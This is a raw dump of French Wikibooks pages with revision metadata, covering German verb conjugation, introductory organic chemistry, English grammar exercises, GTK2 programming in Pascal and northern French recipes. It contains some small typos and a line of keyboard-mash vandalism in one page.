sie '''kann'''ten<br /> Passé composé : er hat '''gekannt''' === Nehmen (prendre)=== Présent : ich nehme; du '''nimm'''st; er, sie, es '''nimm'''t; wir nehmen ... <br />Prétérit : ich '''nahm'''; du '''nahm'''st; er, sie, es '''nahm'''; wir '''nahm'''en ...<br />Passé composé : ich habe genommen; du hast genommen ... === Nennen (nommer) verbe faible irrégulier === Présent : ich nenne; du '''nenn'''st; er, sie, es '''nenn'''t; wir nennen ... <br />Prétérit : ich '''nannte'''; du '''nanntest'''st; er, sie, es '''nannte'''; wir '''nannt'''en ...<br />Passé composé : ich habe genannt; du hast genannt ... Chimie organique (alcools introduction) Test 2458 14051 2005-02-07T19:33:01Z Antoinel 182 == Nomenclature == Nommez les alcools suivants : # CH<sub>3</sub> - CHOH - CH<sub>3</sub> : ___________________ # CH<sub>2</sub> = CH - CHOH - CHCH<sub>3</sub> : __________________ == Solutions == ==== Nomenclature ==== # propan-2-ol # but-1-èn-3-ol Retour [[Chimie organique (alcools introduction)|Introduction]] Image:Hydratation alcene.gif 2459 14052 2005-02-10T11:15:04Z 82.254.203.138 Image:hydratation_alcène.gif {{GFDL}} Image:2-methylpropane.gif 2461 14053 2005-02-10T11:14:26Z 82.254.203.138 Image:2-methylpropane.gif {{GFDL}} Image:2-methylbut-1-ene.gif 2462 14054 2005-02-10T11:14:00Z 82.254.203.138 Image:2methylbut-1-ene.gif {{GFDL}} Image:Methane.gif 2463 14055 2005-02-10T11:13:38Z 82.254.203.138 Image:methane.gif {{GFDL}} Image:Amine tertiaire.gif 2464 14056 2005-02-10T11:13:13Z 82.254.203.138 Image:amine_tertiaire.gif {{GFDL}} Image:Acide carboxylique.gif 2465 14057 2005-02-10T11:12:29Z 82.254.203.138 Image:acide_carboxylique.gif {{GFDL}} Image:Alcool primaire.gif 2467 14058 2005-02-10T11:10:02Z 82.254.203.138 Image:alcool_primairegif {{GFDL}} Image:Alcool primaire(2).gif 2468 14059 2005-02-10T11:12:05Z 82.254.203.138 Image:alcoolprimaire.gif {{GFDL}} Image:Alcool primaire(3).gif 2469 14060 2005-02-10T11:10:57Z 82.254.203.138 Image:alcool_primaire(3).gif {{GFDL}} Image:Alcool-secondaire.gif 2470 14061 2005-02-10T11:10:44Z 82.254.203.138 Image:alcool_secondaire.gif {{GFDL}} Image:Alcool tertiaire.gif 2471 14062 2005-02-10T11:10:13Z 82.254.203.138 Image:alcool_tertiaire.gif {{GFDL}} Image:Alcprim.gif 2472 14063 2005-02-10T11:09:47Z 82.254.203.138 Image:alcprim.gif {{GFDL}} Programmation GTK2 en Pascal - La notion d'objet 2473 14064 2005-02-08T22:00:44Z Didier 186 {{Programmation GTK2 en Pascal}} Avant de commencer l'étude de la création d'interface graphique grâce à Gtk+, il faut savoir que les objets graphiques de Gtk+ qui sont appelés en anglais des ''widgets'' (de ''Window Gadget'') et en français des contrôles (ou contrôle fenêtré). Un contrôle est en fait une structure définissant les propriétés d'un objet associé à une large panoplie de fonctions permettant de manipuler ces objets. Ici, le terme « objet » est à prendre au sens littéral, mais aussi au sens [[w:Programmation orientée objet|Programmation orientée objet]] (POO). En effet, bien que GTK+ soit écrit en [[w:Langage C|C]] et non en [[w:Langage C plus plus|C++]], il introduit la notion d'héritage et les contrôles de Gtk+ suivent une hiérarchie bien définie. Ainsi tous les objets graphiques héritent des propriétés et des fonctions (qu'on appelle également méthodes dans la terminologie objet) d'une classe de base qui s'appelle <code>GtkWidget</code>. Lui même héritant des propriétés et des méthodes de la classe ancêtre <code>GtkObject</code>. Ainsi la classe permettant d'afficher une fenêtre (<code>GtkWindow</code>) a bien sûr ses propres fonctions, mais grâce à l'héritage elle bénéficie aussi des fonctions des autres contrôles dont elle dérive. Dans l'ordre de l'héritage jusqu'à l'ancêtre commun : <code>GtkBin</code>, <code>GtkContainer</code>, <code>GtkWidget</code> et <code>GtkObject</code>. Image:Cetone.gif 2474 14065 2005-02-10T11:09:24Z 82.254.203.138 Image:cetone.gif {{GFDL}} Chimie organique:Cétones et aldéhydes 2475 14066 2005-06-24T19:19:30Z 82.252.86.152 Les aldéhydes et les cétones sont des composés organiques dont la molécule comporte un groupe carbonyle. Si le groupe carbonyle est lié à deux atomes de carbone alors la molécule est une cétone. [[Image:Cetone.gif]][[Image:Aldehyde.png|100px]] Si le groupe carbonyle est lié à un atome d'hydrogène alors la molécule est un aldéhyde. Dans le cas particulier ou le groupe fonctionnel est lié à deux atomes d'hydrogène alors la molécule est le formaldéhyde (ou méthanal). === Nomenclature === === Exemples === * acétone : CH<sub>3</sub>-CO-CH<sub>3</sub>, aussi appelé 2-propanone [[Image:2-propanone.png]] === Test de reconnaissance de la fonction carbonyle (aldéhyde ou cétone) === Si on obtient un précipité en présence de DNPH (2,4-dinitrophényl-hydrazine), alors l'espèce chimique possède la fonction carbonyle et est donc soit un aldéhyde soit un cétone.<br /> L'apparition d'un précipité rouge brique de Cu<sub>2</sub>O en présence de liqueur de Fehling ou l'apparition d'un miroir d'argent avec le réactif de Tollens (nitrate d'argent ammoniacal Ag(NH<sub>3</sub>)<sub>2</sub>) mettent en évidence un aldéhyde. ---- Retour [[Chimie organique]] Anglais : Donner son opinion 2476 14067 2005-02-17T23:55:55Z 81.66.144.77 * In my view, in my opinion, to my mind ... : ''à mon avis ...''.<br />Exemple : * I believe/think ... : ''Je crois/pense ...''<br />Exemple : I think you are wrong. ''Je pense que tu as tort.'' * I feel that/I have the feeling that ... : ''J'ai le sentiment que ...''<br />Exemple : I have the feeling that he doesn't work. ''J'ai le sentiment qu'il ne travaille pas.'' * I am in favour of ... : ''Je suis en faveur de/Je suis pour ...''<br />Exemple : * I am opposed to ... : ''Je suis opposé à/ Je suis contre ...''<br />Exemple : I am opposed to the war. ''Je suis contre la guerre.'' *As far as I am concerned, ... : ''En ce qui me concerne, ...''<br />Exemple : As far as I am concerned, I prefer to stay at home. ''En ce qui me concerne, je préfère rester à la maison.'' * I agree with : ''Je suis d'accord avec ...'' * I don't agree with ... : ''Je ne suis pas d'accord avec ...'' * It seems to me that ... : ''Il me semble que ...'' * For my part ... : ''Pour ma part ...'' <br />Retour [[Enseignement de l'anglais]] Anglais : Présent progressif Test 2477 14068 2005-06-24T17:03:13Z 82.252.86.152 == Conjugaison == Conjuguez les verbes suivants au présent progressif : #to eat (he) : ___________ #to write (I) : ____________ #to sleep (they) : ___________ #to rain (it): ___________ == Questions == Formez des questions avec les éléments suivants : #to drink - he : ______________ #Frank and Mary - to come : _______________ #you - to do - what : _____________ ==== Solutions ==== # he is eating # I am writing # they are sleeping # it is raining <br /> # Is he drinking ? # Are Frank and Mary coming ? # What are you doing ? == Texte de sous-titre == == Texte de sous-titre == == Texte de sous-titre == <br /> Retour [[Anglais : Présent progressif]] Anglais : Présent Test 2478 41418 2006-05-02T18:24:21Z 195.93.102.3 /* Questions, négations */ == Conjugaison == Conjuguer les verbes suivants au présent simple : #to be (she) : ____________ #to have (I) : ___________ #to eat (they) : _____________ #to sleep (we) : ___________ #to pay (he) : ____________ #to brush (she) : ___________ #to fix (he) : ___________ #to miss (she): ____________ #to fly (he) : ___________ #to catch (she) : _____________ == Questions, négations== Former des questions avec les éléments suivants et lorsque c'est possible répondez par une négation : # to play - soccer - on Wednesday - you : Play you soccer on Wednesday____________ # to do - he - what : _What does he?________ # to like - eggs - she : Likes she eggs?____________ === Solutions === # she is # I have # they eat # we sleep # he pays # she brushes # he fixes # she misses # he flies # she catches #Do you play soccer on Wednesday ? No I don't. #What does he do ? #Does she like eggs ? No, she doesn't. <br />Retour [[Anglais : Présent]] Programmation GTK2 en Pascal - Les fenêtres 2479 14070 2005-02-11T20:57:28Z Didier 186 typo {{Programmation GTK2 en Pascal}} GTK+ permet de gérer plusieurs types de '''fenêtres''' : * [[Programmation GTK2 en Pascal - GtkWindow|GtkWindow]] : La fenêtre classique * [[Programmation GTK2 en Pascal - GtkDialog|GtkDialog]] : La boîte de dialogue, c'est une fenêtre avec par exemple 2 boutons qui vont être le plus souvent ''OK'' et ''Annuler''. * [[Programmation GTK2 en Pascal - GtkMessageDialog|GtkMessageDialog]] : La boîte de message, qui est une petite fenêtre permettant d'afficher un message d'erreur par exemple. Anglais : Futur 2480 44546 2006-06-14T17:58:47Z 83.204.18.107 /* Conjugaison */ Il existe plusieurs façons d'exprimer le futur en anglais, chacune correspond à une tournure en français. __NOTOC__ === Négation === {| width=75% |style="background-color: #F3F3FF; border: solid 1px #D6D6FF ; padding: 1em; text-align: center"|sujet + will + not + verbe + complément |} Éubnfgkglkfcgb,kvjxcbhj,cvbjv,xjbnxcvjlnbvkcjnkl,bvckjbvcvb === Question === {| width=75% |style="background-color: #FfFfFF; border: solid 1px #D6D6FF ; padding: 1em; text-align: center"|will + sujet + verbe + complément ? |} === Exemples === * That will be difficult. ''Ce sera difficile.'' * I won't be late. ''Je ne serai pas en retard.'' * What will you eat ? ''Que mangeras-tu ?'' == Be going to == I am going to correspond en français à je vais ... === Conjugaison === {| width=75% |style="background-color: #F3F3FF; border: solid 1px #D6D6FF ; padding: 1em; text-align: center"|sujet + be (congugué) + going to + verbe à l'infinitif |} === Exemple === *It's going to rain. ''Il va pleuvoir.'' == Présent simple, présent progressif == On emploie le présent pour des faits certains ou réguliers (ex : le départ d'un train ...) === Conjugaison === voir [[Anglais : Présent]] === Exemples === * == To be about == To be about correspond en français à ''être sur le point de ...'' === Conjugaison === {| width=75% |style="background-color: #F3F3FF; border: solid 1px #D6D6FF ; padding: 1em; text-align: center"|sujet + be (conjugué) + about to + verbe........ |} === Exemple === * She's going to have a baby. ''Elle va avoir un bébé (elle est sur le point d'avoir un bébé).'' * He's about to leave. ''Il est sur le point de quitter.'' == Application == [[Image:Evolution-tasks.png]] [[Anglais : Futur_Test|Test]] ---- Retour au [[Enseignement de l'anglais|sommaire]] ---- Programmation GTK2 en Pascal - GtkWindow 2481 14072 2005-02-13T11:51:55Z Didier 186 /* Deuxième programme exemple */ ajout modèle fenêtres {{Programmation GTK2 en Pascal}} == Présentation == Le contrôle '''GtkWindow''' est l'élément de base d'une interface graphique, car c'est ce contrôle qui va vous permettre de créer la fenêtre principale ainsi que toutes les autres fenêtres de votre programme. === Hiérarchie === {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="5" | style="text-align:center;background:#EAF5FB;" | Hiérarchie |- | [[Programmation GTK2 en Pascal - GObject|GObject]] └─[[Programmation GTK2 en Pascal - GtkObject|GtkObject]] └─[[Programmation GTK2 en Pascal - GtkWidget|GtkWidget]] └─[[Programmation GTK2 en Pascal - GtkContainer|GtkContainer]] └─[[Programmation GTK2 en Pascal - GtkBin|GtkBin]] └─'''GtkWindow''' |} == Utilisation de base == === Création de la fenêtre === Dans un premier temps, il faut déclarer un pointeur sur notre objet fenêtre. Bien que nous voulions créer un objet <code>GtkWindow</code>, il faut déclarer un objet <code>GtkWidget</code>. var pWindow : PGtkWidget; Par la suite, quel que soit l'objet à créer, il faudra toujours déclarer un pointeur sur un <code>GtkWidget</code>. Une fois l'objet pWindow déclaré, il faut l'initialiser. Pour cela, une fonction est à notre disposition : function gtk_window_new(_type : TGtkWindowType) : PGtkWidget; Le paramètre <code>_type</code> définit le type de la fenêtre en cours de création, et peut prendre une des deux valeurs suivantes : * GTK_WINDOW_TOPLEVEL : pour créer une fenêtre complète avec une zone réservée dans la barre des tâches ; * GTK_WINDOW_POPUP : pour créer une fenêtre sans aucune décoration (barre de titre, bordure, ...). La valeur de retour est le pointeur sur notre nouvel objet fenêtre. Cette fonction est donc à utiliser comme ceci : pWindow := gtk_window_new(GTK_WINDOW_TOPLEVEL); La création de la fenêtre est maintenant terminée. === Titre de la fenêtre === Pour définir le titre d'une fenêtre une fonction spécifique est à notre disposition. Cette dernière est très simple d'utilisation : procedure gtk_window_set_title(window : PGtkWindow; title : Pgchar); Le premier paramètre <code>window</code> correspond au contrôle que nous venons de créer. Mais comme <code>pWindow</code> est de type <code>GtkWidget</code> il faut utiliser la fonction de conversion <code>GTK_WINDOW()</code>. Le deuxième paramètre <code>title</code> est bien entendu le titre que l'on veut donner à la fenêtre (<code>gchar</code> correspond à <code>char</code> en Pascal). Au contraire, pour connaître le titre d'une fenêtre, la fonction est : function gtk_window_get_title(window : PGtkWindow) : Pgchar; La variable qui recevra la valeur de retour de cette fonction devra être de type <code>Pgchar</code> et non pas <code>String</code>. === Taille de la fenêtre === La fonction pour définir la taille par défaut de la fenêtre est : procedure gtk_window_set_default_size(window : PGtkWindow; width : gint; height : gint); Le paramètre <code>width</code> est la largeur de la fenêtre tandis que le paramètre <code>height</code> est sa hauteur. Et très logiquement, la fonction pour connaître la taille par défaut de la fenêtre est : procedure gtk_window_get_default_size(window : PGtkWindow; width : Pgint; height : Pgint); === Position de la fenêtre === La première fonction étudiée permet de définir la position de la fenêtre avant son affichage. Son prototype est le suivant : procedure gtk_window_set_position(window : PGtkWindow; position : TGtkWindowPosition); Le deuxième paramètre <code>position</code> est la position que l'on veut donner à la fenêtre. Les valeurs acceptées sont : * GTK_WIN_POS_NONE : la fenêtre aura une position aléatoire lors de son affichage ; * GTK_WIN_POS_CENTER : la fenêtre sera centrée à l'écran ; * GTK_WIN_POS_MOUSE : le coin supérieur droit de la fenêtre correspondra à la position de la souris au moment de l'affichage ; * GTK_WIN_POS_CENTER_ALWAYS : la fenêtre sera centrée et ne pourra être déplacée ; * GTK_WIN_POS_CENTER_ON_PARENT : la fenêtre sera centrée par rapport à la fenêtre parente. La deuxième fonction est utilisable à tout moment du programme et permet de donner la position exacte de la fenêtre : procedure gtk_window_move(window : PGtkWindow; x : gint; y : gint); Le premier paramètre est toujours la fenêtre dont on veut modifier la position. Les deux autres paramètres sont la nouvelle position de la fenêtre. Le paramètre <code>x</code> est la position suivant l'axe X (axe horizontal) et le paramètre <code>y</code>, la position suivant l'axe Y (axe vertical). À l'inverse, pour connaître la position de la fenêtre, il faut utiliser cette fonction : procedure gtk_window_get_position(window : PGtkWindow; root_x : Pgint; root_y : Pgint); === Affichage de la fenêtre === Le contrôle GtkWindow, comme tous les autres contrôles, n'a pas de fonctions particulières concernant son affichage. Pour cela il faut utiliser une fonction du contrôle de base <code>GtkWidget</code> qui est : procedure gtk_widget_show(widget : PGtkWidget); Cependant cette fonction ne s'occupera d'afficher que la fenêtre et pas les contrôles qui ont été ajoutés à l'intérieur de celle-ci. Pour simplifier les choses, Gtk+ nous offre cette fonction qui affichera tout d'un seul coup : procedure gtk_widget_show_all(widget : PGtkWidget); Il en est de même en ce qui concerne la destruction d'un contrôle, qui se fait avec cette fonction : procedure gtk_widget_destroy(widget : PGtkWidget); == Premier programme exemple == Nous allons créer une fenêtre toute simple. Voilà le fichier <code>gtk001.pas</code> : program gtk001; uses glib2, gtk2; procedure destroy(widget : PGtkwidget; data : pgpointer); cdecl; begin // Arrêt de la boucle événementielle gtk_main_quit(); end; var pWindow : PGtkWidget; begin gtk_init(@argc, @argv); pWindow := gtk_window_new(GTK_WINDOW_TOPLEVEL); // Connexion du signal "destroy" gtk_signal_connect(pGTKOBJECT(pWindow), 'destroy', GTK_SIGNAL_FUNC(@destroy), NULL); // Affichage de la fenêtre gtk_widget_show(pWindow); // Démarrage de la boucle événementielle gtk_main(); end. Voila ce que donne l'exécution du programme <code>gtk001</code> : [[Image:Programmation GTK2 en Pascal - gtk001.png]] == Deuxième programme exemple == Nous allons créer une fenêtre de taille 320x200, dont le titre sera « Fenêtre de base » et qui sera centrée à l'écran. Pour que les caractères accentués ne posent pas de problèmes, il faut utiliser un éditeur qui sauvegarde au format <code>utf-8</code>, comme par exemple <code>gedit</code> sous Linux. Voilà le fichier <code>gtk002.pas</code> : program gtk002; uses glib2, gtk2; procedure destroy(widget : PGtkwidget; data : pgpointer); cdecl; begin // Arrêt de la boucle événementielle gtk_main_quit(); end; var pWindow : PGtkWidget; begin gtk_init(@argc, @argv); pWindow := gtk_window_new(GTK_WINDOW_TOPLEVEL); // Definition de la position gtk_window_set_position(GTK_WINDOW(pWindow), GTK_WIN_POS_CENTER); // Definition de la taille de la fenêtre gtk_window_set_default_size(GTK_WINDOW(pWindow), 320, 200); // Titre de la fenêtre gtk_window_set_title(GTK_WINDOW(pWindow), 'Fenêtre de base'); // Connexion du signal "destroy" gtk_signal_connect(pGTKOBJECT(pWindow), 'destroy', GTK_SIGNAL_FUNC(@destroy), NULL); // Affichage de la fenêtre gtk_widget_show(pWindow); // Démarrage de la boucle événementielle gtk_main(); end. Voila ce que donne l'exécution du programme <code>gtk002</code> : [[Image:Programmation GTK2 en Pascal - gtk002.png]] La fenêtre est bien centrée sur le bureau dès le lancement. {{Modèle:Programmation GTK2 en Pascal - Fenêtres}} Image:Programmation GTK2 en Pascal - gtk001.png 2482 14073 2005-02-09T20:55:04Z Didier 186 Exemple du programme gtk001.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk001.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Image:Programmation GTK2 en Pascal - gtk002.png 2483 14074 2005-02-09T20:55:57Z Didier 186 Exemple du programme gtk002.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Exemple du programme gtk002.pas. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]]. Programmation GTK2 en Pascal - La gestion des évènements 2484 14075 2005-02-09T21:58:31Z Didier 186 Oubli sommaire {{Programmation GTK2 en Pascal}} La programmation des applications avec interface graphique est également nommée programmation événementielle. Contrairement à un programme séquentiel qui traite un ensemble de tâches puis s'arrête, le programme événementiel attend les ordres de l'utilisateur, un clic de souris, la frappe d'une touche, etc. pour exécuter ce qui est demandé et se replace en attente. Dans un premier temps, lorsque l'utilisateur interagit avec l'application par l'entremise d'un contrôle (un bouton sur lequel on clique, une fenêtre que l'on ferme, etc.), ce dernier émet un signal (par exemple ''destroy'' lorsque l'on ferme une fenêtre). Chaque contrôle est associé à un ou plusieurs signaux et permet donc ainsi de programmer toutes les actions possibles. Ce signal va ensuite être intercepté par une boucle évènementielle qui va vérifier qu'une action spécifique à ce signal et ce contrôle a bien été définie. Si tel est le cas, la fonction associée sera exécutée. Ce type de fonction s'appelle fonction ''callback'' en anglais qu'on peut traduire par fonction ou procédure de rappel. Il faut donc créer une fonction de rappel pour chacun des évènements susceptible d'avoir lieu pendant l'exécution du programme et associer (ou connecter) cette fonction à un signal. La première étape consiste donc à créer une fonction de rappel. Dans la majorité des cas, une fonction de rappel sera de cette forme : procedure nom_de_la_fonction(widget : PGtkwidget; data : pgpointer); Le paramètre <code>widget</code> est le contrôle qui a émis le signal, et <code>data</code> est une donnée supplémentaire qui peut être utilisée. Ensuite, pour connecter un signal à une fonction de rappel, Gtk+ utilise une fonction de la bibliothèque GLib qui est : function g_signal_connect(instance : gpointer; detailed_signal : Pgchar; c_handler : TGCallback; data : gpointer) : gulong; Le premier paramètre <code>instance</code>, correspond au contrôle qui émet le signal. Cependant, la variable demandée par <code>g_signal_connect</code> étant de type <code>gpointer</code> (correspond à <code>pointer</code> du Pascal) et le contrôle de type <code>PGtkWidget</code>, il faut convertir ce dernier pour ne pas provoquer d'erreur lors de la compilation. Pour cela Gtk+ (ou dans ce cas GLib) fournit une fonction de conversion (<code>pGTKOBJECT</code>) qui sera à utiliser à chaque utilisation de cette fonction. Le second paramètre <code>detailed_signal</code>, est le signal qui doit être intercepté par la boucle évènementielle. Dans ce livre, certains signaux seront utilisés dans les exemples, mais la rubrique « En savoir plus » donnera une liste complète des signaux qui peuvent être émis par un contrôle. Le troisième paramètre <code>c_handler</code>, définit la fonction de rappel à associer au signal. Cette fois encore, il faudra utiliser une fonction de conversion qui est <code>GTK_SIGNAL_FUNC(@fonction)</code>. Le dernier paramètre <code>data</code>, permet de spécifier une donnée quelconque à laquelle la fonction de rappel peut avoir accès pour effectuer son travail correctement. Une fois que les signaux sont connectés, il faut lancer la boucle évènementielle en appelant cette fonction : procedure gtk_main; Cela aura pour effet de faire entrer Gtk+ dans une boucle infinie qui ne pourra être stoppée que par l'appel de la fonction de fin de boucle qui est : procedure gtk_main_quit; Ces fonctions correspondent au minimum nécessaire afin de pouvoir créer une application Gtk+ correcte. D'autres fonctions permettent une utilisation avancée des signaux et de la boucle évènementielle et sont traitées dans le chapitre [[Programmation GTK2 en Pascal - GSignal|GSignal]] du livre. Un exemple simple de mise en place d'un signal ''destroy'' émis par une fenêtre quand elle se ferme, est fournit dans le chapitre [[Programmation GTK2 en Pascal - GtkWindow|GtkWindow]]. Anglais : Futur Test 2486 43420 2006-05-29T15:56:51Z 82.120.25.15 effacement des réponses (fausses!) execice 1 == Exercice 1== Transposez au futur simple (will) : # I am hungry. _____________ # He is not here. ___________ # Do you come ? _____________ == Exercice 2 == Traduisez en employant la structure appropriée : # Il va neiger. _________ # Le film commence à 8h. ___________ # Il sera en retard. __________ # Je te vois demain. ___________ # Ils sont sur le point de partir. ____________ === Solutions === # I will be hungry. # He won't (will not) be here. # Will you come ? <br /> # It's going to snow. # The film starts at eight o'clock. # He will be late. # I'm seeing you tomorrow. # They are about to go. <br /> Retour [[Anglais : Futur]]<br />Retour [[Enseignement de l'anglais]] Image:Hydrat alc.gif 2487 14077 2005-02-10T11:23:44Z Antoinel 182 Image:hydrat_alc.gif {{GFDL}} Anglais : Formules de politesse 2488 45752 2006-06-26T07:48:59Z 60.228.52.58 /* Bonjour */ == Bonjour == <div style='float: right'>[[Media:Wikibooksfr-anglias-bonjour.ogg|Écoutez]]</div> Good morning! ''Bonjour (le matin) !''<br />Good afternoon! ''Bonjour (l'après midi) !''<br />Hello! ''Salut !''<br />Hi! ''Salut (plus familier, courant en américain) ! <br />''Good evening ! ''Bonsoir !''<br />Good night! ''Bonne nuit''<br />Night-Night ''Bonne nuit ! (familier)'' == Présentation == How do you do? ''Enchanté (formel)!'' Attention, "How do you do" n'est pas une question. On y répond par ''How do you do?''<br />Pleased/Nice/Glad to meet you! ''Ravi(e) de te (vous) connaître !''<br />Do you know Mary? ''Connais-tu Mary ?'' == Remerciements == Thank you! ''Merci !''<br />Thank you very much!/Thanks a lot ''Merci beaucoup !''<br />Thanks! ''Merci (familier) !''<br />You're welcome!/Don't mention it!/My pleasure. ''De rien !'' == Souhaits == Good luck! ''Bonne chance (Bon courage) ! ''<br />Happy New Year! ''Bonne année ! ''<br />Have a nice day! ''Bonne journée !''<br />Have a nice afternoon! ''Bonne après-midi !''<br />Have a nice evening! ''Bonne soirée !''<br />Good night! ''Bonne nuit !''<br />Have a nice week-end! ''Bon week-end !''<br />Have a good journey! ''Bon voyage !''<br />Safe journey! ''Bonne route !''<br />Safe journey home! ''Bon retour !'' == Lettres == Au début : Quand on ne sait pas à qui l'on s'adresse :<br />Dear sir ''Cher Monsieur''<br />Gentlemen ''Messieurs''<br/> Quand on s'adresse à quelqu'un dont on connaît le nom :<br />Dear + nom/prénom ''Cher/chère...''<br /> A la fin: Best Regards ou Sincerely Yours, Yours Sincerely, Truly yours (plus précieux), Yours faithfully, <br />Retour [[Enseignement de l'anglais]] Image:Prop-1-ene.gif 2489 14079 2005-02-10T14:51:35Z Antoinel 182 Image:prop-1-ene {{GFDL}} Anglais : Passif 2491 28011 2005-12-31T22:56:18Z 24.203.19.208 /* Emploi */ == Emploi == *La voix passive place un évènement, un fait en sujet. L'objet sur lequel porte l'action est mis en avant. Le complément d'agent est facultatif, lorsqu'il est mentionné, il est introduit par by. *Le passif s'emploie aussi lorsqu'on utilise ''on'' en français.<br />Exemple : English is spoken in Australia. ''On parle anglais en Australie. / L'anglais est parlé en Australie'' == Formation == <table WIDTH="100%"><tr><td style="background-color: #F3F3FF; border: solid 1px #D6D6FF; padding: 1em;" valign=top><center>sujet (objet, évèvement sur lequel porte l'action) + be (conjugué) + participe passé + complément d'agent (facultatif)</center> </td></tr></table> == Temps == <table cellpadding=0 border=1 style="background-color: #FFFFEE; border: solid 1px #FFC92E; padding: 1em;" valign=top> <tr><td>he helps me</td><td>I am helped</td></tr> <tr><td>he is helping me</td><td>I am being helped</td></tr> <tr><td>he helped me</td><td>I was helped</td></tr> <tr><td>he was helping me</td><td>I was being helped</td></tr> <tr><td>he has helped me</td><td>I have been helped</td></tr> <tr><td>he had helped me</td><td>I had been helped</td></tr> <tr><td>he will helped me</td><td>I will be helped</td></tr> <tr><td>he must help me</td><td>I must be helped</td></tr> </table> <br /> Retour [[Enseignement de l'anglais]] Cuisine:Recettes du Nord 2492 24091 2005-10-23T17:27:44Z 82.216.155.81 {{:Cuisine:Le potjevleesch}} {{:Cuisine:Carbonade flamande}} {{:Cuisine:Tarte au maroilles}} {{:Cuisine:Rognons à la douaisienne}} == Le poulet à la bière == == La tarte au sucre == ====Ingrédients==== *200 g de farine *15 g de levure fraîche *50 g de beurre *20 g de sucre fin *2 œufs *1 dl de lait tiède *250 g de cassonade / vergeoise *5 cl de crème fraîche ====Préparation==== *Délayer la levure dans le lait tiédi. *Mettre la farine dans un plat, saler et faire une fontaine. *Ajouter la levure délayée dans le lait, l'œuf battu et le sucre. *Mélanger le tout. *Ajouter le beurre fondu petit à petit. *Bien pétrir la pâte, ensuite, la laisser reposée 30 min. *Saupoudrer la table de travail de farine et étaler la pâte au rouleau en lui donnant la forme de la platine à tarte. *Graisser la platine au beurre. Garnir la platine avec la pâte jusqu'à la partie supérieure du bord. *Piquer la pâte avec une fourchette. *Garnir la pâte avec la cassonade et arroser avec 2 œufs légèrement battus avec la crème fraîche. Terminer avec quelques noisettes de beurre. *Préchauffer le four à 190°. *Cuire la tarte +/- 20 à 25 min. {{:Cuisine:Glace aux speculoos}} {{:Cuisine:Glace à la chicorée}} {{:Cuisine:Pain perdu}} < Retour [[Cuisine:Recettes de cuisine française|Recettes de cuisine française]] Cuisine:Potjevleesch 2493 16684 2005-07-18T13:26:18Z Yann 2 Cuisine potjevleesch déplacé vers Cuisine:Potjevleesch Ce plat nordiste flamand au nom imprononçable signifie «pot de viandes». Il est originaire de Dunkerque. Il s'agit de morceaux de viandes de poulet, lapin et veau, froides et prises dans de la gelée. Les frites sont placées sur l'ensemble de manière à faire fondre la gelée! ==Ingrédients== pour 6 personnes * Poulet (300 grammes) * Lapin (300 grammes) * Veau (300 grammes de flanchet) * Poitrine de lard * Oignons * Sel, poivre * Thym, laurier, baies de génévrier * Vin blanc ou vinaigre de vin * Eau ==Matériel== * Terrine en terre ==Préparation == 15 minutes * Disposer dans le fond de la terrine une couche d'oignons coupés en rondelles. * Ajouter sel, poivre, thym, laurier et les baies de génévrier. * Recouvrir de morceaux de poulet, lapin, veau et porc selon les proportions désirées. * Alterner successivement par couches oignons et viandes. * Puis verser eau et vinaigre ou eau et vin blanc en proportions égales sur la viande qui doit être complètement recouverte. * Porter à ébullition et laisser cuire à feu doux 3 à 4 heures. Ajouter un peu de mélange vinaigre-eau * Laisser refroidir doucement puis placer au réfrigérateur pendant au moins 12 heures pour laisser prendre la gelée. <br />Retour [[Cuisine:Recettes du Nord]] Image:Programmation GTK2 en Pascal - gtkbox001.png 2495 14084 2005-02-10T20:02:18Z Didier 186 Schéma d'une GtkVBox. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]] Schéma d'une GtkVBox. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]] Image:Programmation GTK2 en Pascal - gtkbox002.png 2496 14085 2005-02-10T20:14:41Z Didier 186 Schéma d'une GtkHBox. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]] Schéma d'une GtkHBox. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]] Image:Programmation GTK2 en Pascal - gtkbox003.png 2497 14086 2005-02-10T21:52:34Z Didier 186 ortho Schéma d'une imbrication de GtkVBox / GtkHBox. {{GFDL}} [[Utilisateur:Didier|Didier Halatre]] Programmation GTK2 en Pascal - Le placement des contrôles 2498 14087 2005-02-10T20:49:08Z Didier 186 Création {{Programmation GTK2 en Pascal}} Le placement des contrôles visuels avec Gtk+ peut paraître de prime abord complexe. Mais quand on a bien compris la logique du système, cela ne pose pas de problèmes particuliers. == La particularité de Gtk+ == De nombreuses API de gestion d'interface graphique fonctionne en positionnant le contrôle visuel de manière très précise en indiquant les coordonnées en pixels. Gtk+ ne fonctionne pas ainsi. À la création d'un contrôle, on lui fournit un ensemble de paramètres généraux et c'est Gtk+ qui va précisément s'occuper du positionnement, de la largeur, etc. Les avantages sont une application qui s'adapte très bien à la taille de la fenêtre et donc à son redimensionnement, à la taille de l'écran, aux thèmes Gtk+, etc. == Les conteneurs == Afin de placer un contrôle visuel de base comme un bouton, ou un champ de saisie dans une fenêtre, on va utiliser des conteneurs. Des conteneurs spéciaux existent qui regroupent les contrôles de manière verticale ou bien horizontale, il s'agit des <code>[[Programmation GTK2 en Pascal - GtkVBox|GtkVBox]]</code> et des <code>[[Programmation GTK2 en Pascal - GtkHBox|GtkHBox]]</code>. {| | [[Image:Programmation_GTK2_en_Pascal_-_gtkbox001.png]] | valign=top | Voici un exemple de conteneur <code>GtkVBox</code> dans lequel on a placé des boutons. Ceux-ci s'empilent verticalement dans le conteneur. Ci-dessous, voici un exemple de conteneur <code>GtkHBox</code>. |} [[Image:Programmation_GTK2_en_Pascal_-_gtkbox002.png]] == L'empilement des conteneurs == On peut placer un ou plusieurs conteneurs dans un autre conteneur. C'est d'ailleurs ce qu'on fait quand on place un <code>GtkVBox</code> par exemple dans une fenêtre. La fenêtre est un conteneur. Cette combinaison va nous permettre de définir des interfaces très complexes. [[Image:Programmation_GTK2_en_Pascal_-_gtkbox003.png]] Voici ci-dessus un exemple relativement simple. On peut bien entendu imbriquer plusieurs <code>GtkBox</code> l'une dans l'autre. Programmation GTK2 en Pascal - Bibliographie 2499 14088 2005-05-22T12:43:24Z MikeM 317 /* Document PDF */ {{Programmation GTK2 en 